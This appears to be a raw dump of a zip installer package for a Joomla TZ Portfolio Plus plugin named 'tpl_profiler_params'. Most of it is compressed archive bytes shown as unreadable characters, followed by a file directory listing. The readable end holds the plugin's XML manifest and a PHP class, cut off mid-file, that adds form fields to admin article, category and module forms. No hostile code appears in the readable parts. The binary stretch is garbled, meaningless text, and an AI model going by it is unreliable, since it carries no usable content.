ܛ(Emypw^iy=h4^Hk|sQnM(wm0&ygXIyٛڅzj_b\3S95l̸<!i}Xq^jEol{ ioDi]JŇ>>A;ؤ@_˙\6:[^uCit4* |"nYDq	^2kԹf]>ΔjAj~nHMx5[}Χ$f4\z|1Fv&n$_4gd3yONm?ߎs-sJMPn.-Q+z	3px8Wʀ厶[H^V(Fu$nWF.B"ؘ"_贯ΦǍ/6%sdhV4hpDLg0,	ǈ,_~[Wd%}?զ%7޷=]BƵҔsAݒQ.ys7e'뫡FH3|@sb󴬘9sC=JMb5\znk5l 94JgJVh[
J=__f
^<CqEg\\ng[`2M.ɳ=PZh-n29Z	~g+vKrc>Nsg}\\lxh7ʶ@67lczc8P$(I-ivf7I
!JědEofCe^xz݌xh壏U5Gd"4ݑ&o&od'˶cI')egh} ]4l4D)ߘ_c+N;nvD.-OpZwvWnj=y-wo򑋜urC.lyWZ<[aeś&MΆ#QEf2QȊjȷ19\pѪ5@/M7Ms_/Ql+"IEˡ`8#ZƢN| \(B03#i8t輛gw{BKj@1BnŐҸyd<ZOXIDyB=h]&IY}yh?)nd-fuG²G/'wEW.&OOo >\Lu9GJY8;]Tt>VudoP"X57f&NHj%T5pХyef:w0 ۹ԭh@E.,+04_<p6]0[rԅ8~AAܧoNuhk R[.+jaԪl"?7D:9Zlmwz܃0Ϯ9{^X1R7sz5],lzs8ԐƗlhhyȷlǂ-Od݂)7x
(mn:݈KwLݡ@Hn2jpFJyl C5A9w8㛉SAwJy9uz}
8`ζ
_RiYŅ`)XXwK<y78^Y1^ |:@[W:gbִS;'kOʉLG֢cqum߯+֌,a3a<~Y+_JnZv6eYOo*4GnVŷ|Ul>ASVIWjE34
LCwU\>?jr\'R0m|J 7=+^x1^0+>-ճQ`ԫ|\6rH(B
@Sr;Ѕvq`ϷuNY,3iJru$9.j[VŁnݒڃ~ؗ,m}JjtrB|@mGU3Rt([nNLF1F6A0ADczU*šM/5	IAԇ.Stl2YMx<uxJc
^5=) -a/QHq2;ߺxE!E[ek<<}C[: JC%DzOQHLSCSXMj3AڸbZk+:v̵Bo Q,yax߼,Ѫ-,:%O-HQRVՎhqNyS1@GNC2/{ط=s*I macu,W+_Q{b'+EXt~K;183Be)Ro;NԲbõ@a-W?\ofހ4 Fԓ)LQE}Q(D6z<Gvnlt>;<BKVzYSQO|㾕Ǎ/)^>;ҍ\io[`jLnl ;%2GV>eh!]]"ZcTt[ʥhLJK3a?y:  ןP,|ߺ/*9!l7E+Y^?{8Y4RFyy;㇗\8JBNC%Z[MfE=+7ߛB`<%uD{"U۝Y=X<е
9zKNji/E_Ojq+}XHЮ3&c'DE[4o[ZE60[.)nQ9R9rLE<VVnD(gƴ_'MYG#эhھ(}b..]-Ot׻1ѱPu*0%g~^HKޙʿ0Cgrղa=1`m3kFM}o@=0vƠܸ	C/lwOd_qjb>76Zhye/h-Ax4PvSUqp<`gU=A[:"~|@Gp@L3ٷ/A:XrPh[ӳўk{;_bU	$UcFyɔqդĩ-
h?/e.݋$eo37D0~Q!7-cûe+.+*혷h#z/vQ4ڣv{bmC08D'#oBǝft6G4ʬMYl}}Nee4<s<c7p>LwЮsNaW9K;KS]H"-Wd'fy>MC-	tE.THK2Z{hi0V1cULwN	cr,m;
esWxQp@Ev?p-G#Ұ'XiGR:ْkI8rƕqe6u̻ yъ	L>h0p/#&BΪvb~?p8C>^v>#ߊ T}iEǫ /#ۼp8xӒ4T%v%!-2;51SL&(6[g(>¢VOzr0E (r2]HE"t-Q2h8pˤFG,\XŸ/l58*
wGpkW&G>PxVYY_IS>@@x)
i#eaܰ[ɚӾŀ
:$7CAQ3b/.Vru4أE(~b0uc8X'Pa(.(F̥cM Jw饽|(ǧK8jHmS	n\`IkM8=GUxmo*ܢVH)<Cㅱʷ*Pp7]Hvn.I&>y:K$#IAĿ _>w_j`iǠ]X<7Ȗ n2>2mmpcnLapdX !XCfOIK&.6l69{gP*Boߊ$(Q/RMWJ8)LOC8d}VRL=Z79J
@6HT+7¦6EsvO &䍿U+5|QZ$9P/ \>#^?ن'8$ N{iJ9FY 09(@f^jo<(O
)Vxƣ&9ڍibC˄r?DgEܰv̀Ocg@c%Kv|KP}+hF@%NPr ~$b3QXP%Ex_Pى_xї@!l5ut[wڍr;*q|$JnpG:t,syUa=xDyx5O7ja{ftctxƀM?Og#_[OH݆g?=vux!Oŵ-}D14SJ1lWbC῔d~9j7;~z)wʵV̔JWV	Ղq&2v3'*ȉ\5`VT m'QQUMT`ľzzre<=Kk<[j`j=ޞDj=6{U +mi]OH뾯X4﹢y.,s	8uށ11ٻO[E[7zuѨEב+(d6wAq u7ڼS*/[iP=QG<&0	W%I>tFݭ+	FmN;*V{SrKJ@2q/!>JZQcsuk{T_+l6}RyEVA3nc⟁!)O聃ǐd5"9]"'MrF&/wW0NxQޘ	9;-hAxw9O|}}W^H~."J u4J_齉k*\%>#]=ځ+cb&,*gǕz ./r:be/V;PZ'/²V@}M'
Axʹ4]1aFe:pٌff`+M9u+eW&x2{$!q-_!-mՌ׉sEK4KOR7Y</n^7NExK&յv̅jD%WH~T+l(LY;C
)tV
	M}zIƿlw`s
6JhjTrH9T?Ӽ
zBSG90dj6*	.PCRо%㨯Xz06:9Gnm\"UI=L,^hO4%
8bIcs@]sרdځ,t,PԘzCk8X	)2\L>?рezC[o3O#$ߜ$r;pSBhra2gv䣱;`-,{eK1EF|DTLYqC8<eZ|9^;	6:شT%g;yrxXem[W5tgm[-;#fZ
II<<ŀ'S:}q!'\E.x5KMx/J)PjóhYچbC*Ö2ڶ$l˺¥B?T!V#4לS4[yduJu; 	xmKB톝w\gO5ilwhV^v0ʳ+;5dHK>zX= {8ȹ`Śj+qϑoXwEZ/5$8vmQU.9"$K,V'@ao1<޹Խ49}W) =S#̡]T7w-ɵj7.#\Y%RRLCQaHi1-M"QDҎQX~KTw6H.9wX!Bv|(CJywY`Eܟ}b"}pDC]7.gUKr]m>K3&sˣo#V}K#}u@8AJ%eeOFQ?kqtS+!f>>Ifrg;<	s~ވHq$-?L˹Va+ȵZ$i;i{Pl.
zSmaT|6fTqK}/;Я"]*@^K30@9\Zz>0?s^=.;dwߑ$\<?Er`!_\04yO0=дY{Aqu}U`j@`mC;%/.|9ojǚ#w":eF%Ѹv=0g~fOaGOM;/}2SC`ک-OhT]+3WoOsݚ._ޢ,LgDUNiix/yrnʷt\kZZS]j^G
 :*";ն<!Kz[`:?ym-k>3ZZ:~U`T7fbY˾G'ũY?fߵ\ښܹ~r#Q߿|ߋ\3 ӹ톜4>^Cʏ&UఆhO&c@m,BK|<eA59*>mҽѺfJj<ŶC,a\-J,o{u<jsmds-]nG5ךGQON)dxE}} 	x5mI6鿕HW">ys2Gav>K>JpJE0.uٮt2  [w5-%7O[t>^u6- EBP^#TX2vN\mUԐ9D(ɶ@A\R㑅aujqs
zcT*0V,g#} Z1bEkEG.hίAYVἛ93l.f?Sc~?\y\GN69"9!6ï׹JO&SιB8Lw
E|BOZ@2 T90bw_zZfe䲺{RTXANUD>-h pi($2,L̮?q<+sH/qYiuOmݜlv
r07ɵsUa YZW&&o˖Rpg_=^0-YzdYrV =!쇙xqLx;2i?@38퍀]@E5r	?osG|hsE>|x~L?Nfa<良 Я;
w>
`Ʀ,ܿ|Ϥ=a]ΦSi-:"~o,4$Sb=vMݵ)Zc@mSܜ}ϝ *NQTm6p{[xϺGE$Sm`o쁻NJX.x<%LAazPUuWda쮉7GȸI]56_Ʋ0_+H&t5H}~Z(x$\d{ɢWѨDIth^xxR-!ă+B $79Ąq\?Q 2Ch:am"Qc:fͮVMJB!,#ZG(GCF/[
owx8({x=I*PL+ ʸ?EXkh~#2fv_>liIrUs:;!Z.{u71jQ66H3*DzQWX:񚁞1ɞ{F̂,F1HßIBSF^,3 YDrH(ʾÖYp8,UT[E땋\Tmգ'i@x%'~8,ǁ`H.y,Jϼ?dj6*EL!E ؇28D-zo\H@^yΦ-'-iSPbIvַRYRBH@pg|He!6s-05|>GLV%⺏9քj1Juƣ7  | IIMljN$\`זV[Tl.Xzvqv<3@Q]Tg;־=Y3`뮟g)bG8ݒ
ՈFd^FQᨾ~pTH
N&}^\(zmYFzlw=x56ΓNO$3| ~touM ,.PN#:# kZE{_MC΁fqD|W DU*=~xHL~Ϭ	b	Q% SΈLo2Dvy8"SY3 hF '< L3-Y\r;/tbgϧ)~
?n
;a&&\grn/}"n 9Y`P԰wQA/,5&>_(_ asHf#`Q9n q-eOp7@fu%\"91Z9ݹZP&^bC.a+nB|urn⍴[ʤ~eۑ#]8bVh6A?*lkmŌݖ}jN[ET/oKVJ]-S{ ,+|Ѐ~ܦF!u#)Ҵ&3ġԘ}E0s)#i+]w-6Kl+y_ܔ}G_J!dF"KEѲQ_^L@%w<yD55ެj[)v럲 .=`TE#)脁7Ec,*
|@##`ɇmPB"ΙauC<_GszH+H.I@K4QCB<赍KX[MWX#.6QQ1f̛4Ri{Z;>b|wY0q2!vs	͔;!'0(N@U ;^gE'&ʶ&&#'FB44a(Kjwܦ-OJ#t5E$nED Uy/2+XJJ44tzօUo_jӖXSnwp?LHʆ+dy75dU^-0{ovB(1-7jE+Kݔ]Ayvv[	؀SB.ڕ_,bK;OtRSr*[x;?7E뒻ݾҦ{{%BA\*Jä? R:PT&}0Y;VG[z=)FK*TpRU77元\J@<sΡ:+RLs~K|BidNR]v[DDG%	CI_xFT&ybEw!JF]Xff$q²wp!8z@TG]\v2´aKS(u!
iJd0T^24ױf9IBo!('7]ð~T1H"mw
o̬X>1':^o/ܝH"f+M:u>39P??f^&dzeꭹآ)r#
fo6l	:yKRCn:0{xu(˛ 8K,Wa"`WXOךf-z~8xew`)=F8Wlu=vYS"3qW0헷\˷{>Y <1vZlԯ6ETR!ȍ}!Ioo7(p(g`WhtF;Ɔ(+eԚM\j {IUwe=GdxMJӞĦ	Ĉ$0084"B
)#S_Cw2#6nVWUڕd|*}`:!ݐ\"(Yy:#,y9S8s\Cp{9ri;3sBp}ڢ=Dycg"S/"<idh 	$6AƇM{ '\,,ؐ!N3d
d3g1P+9*N]CD[)q|.pҋ'`wg#l4 )QfgV"y46(;$u3ew'[|W]@4Ҥ[K >7Uz
NUFgnWF,9`<|IlztX֝/G?VJs*nãX s<?qXvk1wLGۮѦ(Y%: p1;%yxM#{m
k`@@8^'б	gx5#8V~gAҟ3̅}-;4 m\!hd*<*lUl,ܩ;g3X#c{Ձ`O&@*~]uZxJq$
w2Џ9uc:c%ϲE7=SWYa?{}׿r/:0	ߜC$=:lHMFHm&AEć@2Z|A42;k!uau4)( Y(	NUx&MD R#_Wص$k>JfBA=+I{[CK^~!:uc_Od&a2`pFyrm!_JhXtEhLP7܆QNHX׽dFՑݶs$_vKUXi$i"H"$1´H?[g%B׬h,!Dcހ_<u|9HV\Hk4YTc`)cv|{m(o=iA=5^{Lh3@8T
vhZDe/0l`KZk1qЌTf/]'UH
~̶OTgR4GkX*5{P|fko]x1-A	Fۜ'6FF0ֿ)}RtxYj_3VJg= !|5^x|&%ԍiIkEFooF>3H^Ko_yCMͪ[";M͈,o2ٸ]wCj.IJ?%ɐ#D20'⫮M[&}5e?}ƀ֬m }]i4IIr	D˩:_
OFшɤfYз.#VN=&uqyz'Xg,=]n4x|%ބ>p>^Vn.$Lsߞp9tPY_B+6"2lb
eҡU`x{Yh|LR҂芹,38,dE;P}
Y`RPlµiCh4)rBo=FvG2+M?Cdu@GpbYg!I|BRÆ0\zG~㮉bY	B0W 
^Dr2$WRRA#F佈76V"$S!kM."@.[p0&tnL]X._!jh&G&; eXpd,OGBIwS*=6aY~2I"ѭ.s+?COWRp6-"b8̥FfG'Pߡ3{vySc?kL8lT؈Po=j8(;dM(Pg~H ߋaIQ}gwm(? 8 Nj0KiΕC=Dݻg5',c1K1Q'IzzK(-{0Nzs&uܾآylh8DRNHY?q~2$ LQCh\DG
	Xru6ZN~$ǑDr»*RMP]WeDDN|P7b[5J<}NU*0"SFi%`hEf2<%Ul9(X i-tp	М9p1m
	ufI*L߶rۄGL~2o}{ßSQ2P&xHJ]+鷾|W$6PcQLVaޕM6rA2Im%B0iy?C)bGh	iQ.ul8i>T:)hk}/:`fC'5}	p <Vi52(6T|PYfp=o3KVAiʆٲ'o(NQ@mݖF	HYmU7Rɩq0k)S+?v$|joQK2ۨvP0R&@SH;q6{0NrG}1lS0oBY,&Zn9pm>'T1D>Af$p7lӡ+Cl9KYSͲ=*袽O*Ebx[q<:PX+o۽tpJEG.KH-躦k8x^m9$\rmG2fb:	JN~3(RfX!9BML0o5U>& ;?%qK_gpbQmG_. 屠w˜ߢZ/FT5p?-&eXhd3
FEF:_Ch'"yÐ}W"XgSI#?GE8-Mou'S׼bc,\^w,3|1>Oguwө^yNgHZ{f_w{A~8rܡvyk]^kp`8FW\^G*;GY`<
fY{8BNT]5-0R*@Ħ{%
8@%/ԍuWz_bڊ5414Z{h	fE08^8`6gOJwk,e(]7a#Q[~wuT휻y{pI"oM}DzE僢|*K9ݧN3k)!I<&1L*yEƊDWAj9"?]1(*_ֶtq?̹$چQXʰVgѶ;;qiap,K˴sXC԰25K׎,WD3>'`Qaė[EuM{0#P0˯ij%u٦ګ;pVz)Xg=~P!LfXN
MfY.#x?G43ҩa$H|*Äv~$x/nĈZ2køC#VY^e܇ċuS!CLďYk<"KIbfֻ>{W՜Yoc32%5jhrAj:7T7Us_#iD7ud7c]_,װ8vvxKq-rYcyJYVvǏ#\xS%X?=Ǟ]$ t,Ǯ,D15J
BENL3?SZұrӀve<`3D$ןpOaS ,xl5tMbR|
67HVe&viq/#oa?j?o=:<j?/ѿoQE߰{~~d8"A_|ҥi*At,@,c--ҭ[G[K6(ʹťcxpqC-l;r-6P7ޤ/ͺ(vtqNVmg8q	ͤCUo߅in,P:n"y&_AcO~&/Ô>asWUkeղ4˙]1yNZ{e@F,rD,F\ljY#^XN9R!ťTf.2)@2*5<",m;~
|܀=2h.ϙ$:u
uYF܏fj+:MHٟPKՈHz  [ PK   ;]L            '  tpl_profiler_params/admin/js/index.htmlUX m[Z QtwpU(ͱ),Iч\ PKV      PK   ;]L            ,  tpl_profiler_params/admin/js/tzmultifield.jsUX m[Z [s6޻ƖӒ[.Ouɶ%,Q2[IT%*n Ի,t_$ E^LO>!wA {5f"<"@KxsBOymf".9*ӏd{DP?ľ}zb4qchAɔ,gjeAbȝeX
#o?={όÿt3A*Ũez8	C}B(˩fMʰ3;I`	X7}gLn?("bIv_\'ègÛ9)RoBx	ҥ0z@qi6#.d£1	쓍7GLf7LMRt(Ot)r6aRG
9'm;Kf4L6I>@CSc#JLQF4 N1F/PKCvVV3ֵ@Cj1ӳhV
9DW!l%9W+|JІjȈ(Er>7@' 6'qXz
̴ٷ4fy򧟕gyp[F#*(ѕ~M8m&_U_UL=ȄD#X`jڶ66B xj22q"|G5%,AR/&+& +pLCQѳ#ܾ<%EA^;s"x .2'7uJCԴzƥ1ҫɥ% i<,멆ygvvvי Uz˞xM\$RЋ~KXDmM>dń˦7VÎ=SI2xhe4HG#`dpB&í$eqӧ~3?Rpn3ÈnaZܒRÞɼ2(fΡ6#=	631,^L&Vh =od@`M!h;3؍[Y]xsuhc#ge.eƻ"$nOjնϲea%oGf{

]t@g1wkEqCV6i5kp8J{U#v9,guԂW>Jb݂ GvKL_dnBAgQģePhNlba|O+krɤ֫
RuGצ{l	Q.ۦ):G+#xb0ī3s6$Q22mG	rݻb*]|"[%PSf;jkp}a>: H빈}[^-CI!;s,v=Ҿu[}{bT#-.sUZuSu+In(BB"Ň-QM/Ɔ這cyvжԒOC<-iJ<ՙbKsb P(Ux+׫QN\r\K])Ι>	J[GuYk:=m늇F/ML"1nE$9am4 SŒH`q]%UWPa[)n6!u*68l,C 4Ru֖EicOB<ǰ;sZ=8auNXPs-y t
{o42Z@!R+U0 HFrTû\lVx4 M6ʗ58<o+ "LbIPDT.a!Ogr%d!&,geLkK?H:iwҙS>ӤW?́gǺ:D05aZSzRjK:>%^,Vj(XUj0X,:,mf+@hnXSh(L4K3pLV)!6"5?n;&ss[]iK=b
MyxU Q/tO{.?-ǣ9=l]\'䴫ܱ(fK1rQf")ԇMƜ"3)T齴TؤU6lęYew#K"z^_
V
,MSTN~ȒG阄Z!#!jvXlI	w|Y2J"XƇZ^sH@1A<w\蜙+؆H/OkWN2KTon5I9iAF_zụԫU0ih2>RmЩmI)aǫI&(m8AN8ԃ~̮i+yMQMtdHRzvc%{{<.U%.6ާ/m/6׾7pUfT/iwc*<7^(FZe7xUp "uoS/8(	H^uOHr
kT6+8t1'	dX	 ʐ;7ڬ_ryt,^4Ci=Wioӓ\~5ڴ8HmwS]0VI;r0^*iٲM'c_	PKf{0
  4  PK
     ;]L            !  tpl_profiler_params/admin/fields/UX [Z PK   ;]L            +  tpl_profiler_params/admin/fields/index.htmlUX m[Z QtwpU(ͱ),Iч\ PKV      PK   ;]L            1  tpl_profiler_params/admin/fields/tzmultifield.phpUX m[Z sӸwfDȝq
6 57Gx\[U;gɔ+Kqjw]tr?=GOcا$㞟ߊqޞyw+mH6.CG/h^?8a[<s 1W1xĆ`4D.chtsscl(0m=݇%ӱ<_
ۮOlChB6FUFۜ<i$ԟ%G7!?@	͐eۘR5k'gr! C7p<yEyʴybm1"~#̵ő?]0`	;nwm4vP߅}_v f
g_d٧vy6;]*l'LLb?2wVhmb-GZ(VK%&Q,":mV6XﯹtA(0}6+$l5ZUamuBMBo~0P$0O`w6bk#`D۫&8&J̮,/vAu陖)hJI=eZPp*(GΟ4Oi9-]R6
CV/ +j I6d%}rlBi;,*֓ 
Kpj9Ɏ'B2Atn\d mRfd8c{7l?##b@qM~:E]xa٭./Q	=-t1Bgd4#"C
G,Qϕeل`L=]e!?JM[đ&t4Au-ڞ9JNNO<#l1B?yALaHuiNE D?'=vZci2|tEiÑ:OVZN.(AVP`5fvӧh[´59I dr$d.bֆJ(92VQc8VִrpapcfjqY9R%[KⳀ()q;Frx6ca9Ao}ҝ@6kUp{!FG'+@9q(ňf}`C땼Tƈ VG4aδ>V]/Cәy G:x9핡%Rr `GГ^Kg^1!D:mOpe4UEpxP$~ݸdbXo燳
$*֗KAAKū$nb-Cq>_W?Q9VY@@Pr>wudV0-{ttJE_&DxY##°P87plpYyJ&!\@-x)mo<S=Cy;9t|1_ǋ_rsYihA,M74N'L;)L }rG.p}'q,`]N^'	 1A>ɿ.N\rKlN9QrJj"j'\iYb%w;]AiIa;xmA omq0(㠍ؕV帮 z(byL
XKqE|VAv\=*'E.8pr{bwAB]ܗNo*[E	CYYB]M&#Ԅ~12")yT(ي[tMy^`MkEK=Tuq,XY!qqK%LvY#+{: ՌDD/jyVǼG:HJt[Y1 MzAݞHQvѵR,)I,%R^-Fx+u@An̝iH|&DqQh? 	0l|9uyHZW*ntZ".k[U02Ҭot
n[ouP"lp&_d:.e'#.haMQVVA@X'Qv-=m0FIvKޥKLPrWqdhЭZ$
2/hZ
/X{-2bш8tM~4$\<P+U:*U\Xh*
$/-MXFh2E}3ӆ&a+`ثBv	Ys,e/>[Z׮ز8ͫڷrbR-W祥^]t;n"rk';s~
`wdZS~iVWukM֭Z;-k*	.qxْ*ni.x$)aq<;l˳]ȸ8僸F~kr:j[@hqliztBg2r˽EW]H*H!</ޥ
rɵd%uк1Irb|U]@uzZCXxa(^]\9:4R-r3܇կɦH6_zN5#5M+ѰL?dO
Ow\@|y;ɳsE}Tzyą[9mbHIʨRc"~W_5pU*R䥪 pAI\L.*8hf]lѮ4!GEmP<e~)6-sKPK|Q 8jswgcb~z,V"uwfSXbw.c7`x	t~/W9ZM<~T\?>ypGWx~(~C8/y9aTɇ_j&QHn7xLz=7,ϡ~pzLT.?j'}k%0R[aUE1qmGgE1T_j9<n/[{ ڠgv0q͉vRa@~?PKq9.  @3  PK
     SL              tpl_profiler_params/languages/UX [[ PK   SL            '  tpl_profiler_params/languages/.DS_StoreUX [[ ;0DgK4.)p n`E	 W!RP%yViO _ 3>6!B}ctvB2ts:vc2]J7_#LC>+1XW,pp?a5!~uvK@🅧nl+ܺOPKj m     PK
     
]L            '  __MACOSX/tpl_profiler_params/languages/UX [[ PK   SL            2  __MACOSX/tpl_profiler_params/languages/._.DS_StoreUX [[ c`cg`b`MLVVP'@ S 8A0]  PK85   x   PK
     ]L            J  tpl_profiler_params/languages/en-GB.plg_system_tpl_profiler_params.sys.iniUX ZZ PK   YL            F  tpl_profiler_params/languages/en-GB.plg_system_tpl_profiler_params.iniUX C[Z N ỉp5>Bl;dil'Wݲۋw3PּJZuB5Lz6W{}%w]-*#HfאC\M'@J~ Y_T@Xz70'5\*\]wԬeGN']"&?ӎP8(uY&eг ]3
9-Њr];%Xϳ`?PKִum     PK   zL            +  tpl_profiler_params/tpl_profiler_params.phpUX [Z TO0~ᦡ%EmxV!TAC$njؖ팕}g'P:$}wߋG/~5̾Tj;I8m0LHiRR|eF)'2R-5K\Tp5TYT|,
(`aM2:ksGNJԌj4]RDxHͅ1	4@Ҕet ;>ge5K-j`\RD9I91/k)L3Nu2%;>{=oU^0/EjpRjNn9X2"JLNHj^9J!&qx#rgG`hnyH&Ti佫|'HA6ǬQUsvboS	h"-K9VQi8yIrʳ$8K$' j
P&NdEDA
o5qiO0RaN!wϖ{KsU+dVrjݡTeL|KCW82i1޼f?NV^k-$u8ȫk{$\{+H<wx=oZ1U.ڸcf<]GӺ
A+߬cZ3>XT pHRei(VRl!C(kd1n8~rk1IemSS[jVƻPK&'"%  
  PK   ;]L            +  tpl_profiler_params/tpl_profiler_params.xmlUX [Z Sˎ ݏ4XRIUtZeSU#uf#<6v6 e'BTVxEݹZYY618%	
{JeEZ_x	FRe5lì0ہM^o}p{!lDF{R6Y{f
 R>W?4Z>rΟMzWW0/Z=iz0 j'qqj|n^t/&%HmzŚ,IfcyߌP7%k؀)ނnt:;Kj<MwIB
] hȽ7"F3:gN1.t>z*[é񏍆BVBBD]
(<`//[KU9"?i{)Ͷ{%M]GԵ$l
a&PKR[^  %  PK
     zSL                     @A    tpl_profiler_params/UX [[PK   ;]L6               @B   tpl_profiler_params/index.htmlUX m[ZPK   zSLNx/              @   tpl_profiler_params/.DS_StoreUX [[PK
     
]L            	         @A  __MACOSX/UX [[PK
     
]L                     @AI  __MACOSX/tpl_profiler_params/UX [[PK   zSL85   x   (         @  __MACOSX/tpl_profiler_params/._.DS_StoreUX [[PK
     قL                     @A/  tpl_profiler_params/forms/UX [jZPK   [L@    &         @w  tpl_profiler_params/forms/category.xmlUX m[ZPK   ;]L6      $         @  tpl_profiler_params/forms/index.htmlUX m[ZPK   YLXR    $         @  tpl_profiler_params/forms/params.xmlUX [ZPK   قL=    $         @  tpl_profiler_params/forms/module.xmlUX m[jZPK
     ;]L                     @A
  tpl_profiler_params/admin/UX [ZPK   ;]LV      $         @1  tpl_profiler_params/admin/index.htmlUX m[ZPK
     ;]L                     @A  tpl_profiler_params/admin/css/UX [ZPK   ;]LV      (         @  tpl_profiler_params/admin/css/index.htmlUX m[ZPK   ;]LGsKF  {B  /         @}  tpl_profiler_params/admin/css/jquery-ui.min.cssUX m[ZPK
     ;]L            %         @A0  tpl_profiler_params/admin/css/images/UX [ZPK   ;]L    @         @  tpl_profiler_params/admin/css/images/ui-icons_ef8c08_256x240.pngUX m[ZPK   ;]L-Jc    N         @+  tpl_profiler_params/admin/css/images/ui-bg_diagonals-thick_18_b81900_40x40.pngUX m[ZPK   ;]LV      /         @-  tpl_profiler_params/admin/css/images/index.htmlUX m[ZPK   ;]LAA     E         @ .  tpl_profiler_params/admin/css/images/ui-bg_glass_100_f6f6f6_1x400.pngUX m[ZPK   ;]LT    K         @|/  tpl_profiler_params/admin/css/images/ui-bg_gloss-wave_35_f6a828_500x100.pngUX m[ZPK   ;]L|     N         @YE  tpl_profiler_params/admin/css/images/ui-bg_highlight-soft_100_eeeeee_1x100.pngUX m[ZPK   ;]LWSC  H  M         @F  tpl_profiler_params/admin/css/images/ui-bg_highlight-soft_75_ffe45c_1x100.pngUX m[ZPK   ;]L~'      D         @uH  tpl_profiler_params/admin/css/images/ui-bg_glass_65_ffffff_1x400.pngUX m[ZPK   ;]Ld    @         @I  tpl_profiler_params/admin/css/images/ui-icons_228ef1_256x240.pngUX m[ZPK   ;]L  8  N         @Z  tpl_profiler_params/admin/css/images/ui-bg_diagonals-thick_20_666666_40x40.pngUX m[ZPK   ;]L[0  \  E         @U\  tpl_profiler_params/admin/css/images/ui-bg_glass_100_fdf5ce_1x400.pngUX m[ZPK   ;]L_&    @         @^  tpl_profiler_params/admin/css/images/ui-icons_ffffff_256x240.pngUX m[ZPK   ;]L}1o  
  @         @v  tpl_profiler_params/admin/css/images/ui-icons_222222_256x240.pngUX m[ZPK   ;]LS^    @         @z  tpl_profiler_params/admin/css/images/ui-icons_ffd27a_256x240.pngUX m[ZPK   ;]L      D         @  tpl_profiler_params/admin/css/images/ui-bg_flat_10_000000_40x100.pngUX m[ZPK
     ;]L                     @A  tpl_profiler_params/admin/js/UX [ZPK   ;]LՈHz  [ -         @  tpl_profiler_params/admin/js/jquery-ui.min.jsUX m[ZPK   ;]LV      '         @ tpl_profiler_params/admin/js/index.htmlUX m[ZPK   ;]Lf{0
  4  ,         @< tpl_profiler_params/admin/js/tzmultifield.jsUX m[ZPK
     ;]L            !         @A) tpl_profiler_params/admin/fields/UX [ZPK   ;]LV      +         @* tpl_profiler_params/admin/fields/index.htmlUX m[ZPK   ;]Lq9.  @3  1         @* tpl_profiler_params/admin/fields/tzmultifield.phpUX m[ZPK
     SL                     @A27 tpl_profiler_params/languages/UX [[PK   SLj m     '         @~7 tpl_profiler_params/languages/.DS_StoreUX [[PK
     
]L            '         @A8 __MACOSX/tpl_profiler_params/languages/UX [[PK   SL85   x   2         @8 __MACOSX/tpl_profiler_params/languages/._.DS_StoreUX [[PK
     ]L            J         @9 tpl_profiler_params/languages/en-GB.plg_system_tpl_profiler_params.sys.iniUX ZZPK   YLִum     F         @: tpl_profiler_params/languages/en-GB.plg_system_tpl_profiler_params.iniUX C[ZPK   zL&'"%  
  +         @{; tpl_profiler_params/tpl_profiler_params.phpUX [ZPK   ;]LR[^  %  +         @	? tpl_profiler_params/tpl_profiler_params.xmlUX [ZPK    / / h  6A   PK       ! 8x   x   X  tz_portfolio_plus_install/install_5ded20a08d315/__MACOSX/tpl_profiler_params/._.DS_Storenu bS            Mac OS X            	   2   F      x            @                        ATTR       x   x                    PK       ! 8x   x   b  tz_portfolio_plus_install/install_5ded20a08d315/__MACOSX/tpl_profiler_params/languages/._.DS_Storenu bS            Mac OS X            	   2   F      x            @                        ATTR       x   x                    PK       ! 6      N  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/index.htmlnu bS        <!DOCTYPE html><title></title>PK       ! R[^%  %  [  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/tpl_profiler_params.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="3.0" group="system" method="upgrade">
    <name>plg_system_tpl_profiler_params</name>
    <author>Sonny</author>
    <creationDate>April 11, 2018</creationDate>
    <copyright>Copyright (C) 2018 TemPlaza. All rights reserved.</copyright>
    <license>GNU/GPL v2 or later http://www.gnu.org/licenses/gpl-2.0.html</license>
    <authorEmail>help@templaza.com</authorEmail>
    <authorUrl>www.templaza.com/</authorUrl>
    <version>1.0.0</version>

    <files>
        <filename plugin="tpl_profiler_params">tpl_profiler_params.php</filename>
        <folder>admin</folder>
        <folder>forms</folder>
        <filename>index.html</filename>
    </files>
    <languages folder="languages">
        <language tag="en-GB">en-GB.plg_system_tpl_profiler_params.ini</language>
        <language tag="en-GB">en-GB.plg_system_tpl_profiler_params.sys.ini</language>
    </languages>
    <config>
        <fields name="params">
        </fields>
    </config>
</extension>PK       ! &'"
  
  [  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/tpl_profiler_params.phpnu bS        <?php
/*------------------------------------------------------------------------

# TZ Portfolio Extension

# ------------------------------------------------------------------------

# author    DuongTVTemPlaza

# copyright Copyright (C) 2012 templaza.com. All Rights Reserved.

# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL

# Websites: http://www.templaza.com

# Technical Support:  Forum - http://templaza.com/Forum

-------------------------------------------------------------------------*/

// no direct access
defined('_JEXEC') or die('Restricted access');

jimport('joomla.plugin.plugin');

class plgSystemTpl_Profiler_Params extends JPlugin
{
    public function onContentPrepareForm($form, $data){
        $app    = JFactory::getApplication();
        if($app -> isAdmin()){
            $input  = $app -> input;

            $name = $form->getName();
            if($name == 'com_tz_portfolio_plus.article') {
                $language   = JFactory::getLanguage();
                $language -> load('plg_system_tpl_profiler_params');
                JForm::addFormPath(__DIR__.'/forms');
                $form->loadFile('params', false);
            }
            if($name == 'com_tz_portfolio_plus.category') {
                $language   = JFactory::getLanguage();
                $language -> load('plg_system_tpl_profiler_params');
                JForm::addFormPath(__DIR__.'/forms');
                $form->loadFile('category', false);
            }
            if($name == 'com_modules.module') {
                $module_name   = null;
                if(!empty($data)){
                    if(is_array($data) && isset($data['module'])){
                        $module_name   = $data['module'];
                    }elseif(is_object($data) && isset($data -> module)){
                        $module_name   = $data -> module;
                    }
                }else{
                    $input  = $app -> input;
                    $jform  = $input -> get($form -> getFormControl(),null, 'array');

                    if($jform && isset($jform['module'])){
                        $module_name    = $jform['module'];
                    }
                }
                $module_arr     =   ['mod_tz_portfolio_plus_carousel','mod_tz_portfolio_plus_portfolio'];
                if (in_array($module_name, $module_arr) ) {
                    $language   = JFactory::getLanguage();
                    $language -> load('plg_system_tpl_profiler_params');
                    JForm::addFormPath(__DIR__.'/forms');
                    $form->loadFile('module', false);
                }
            }
        }
        return true;
    }
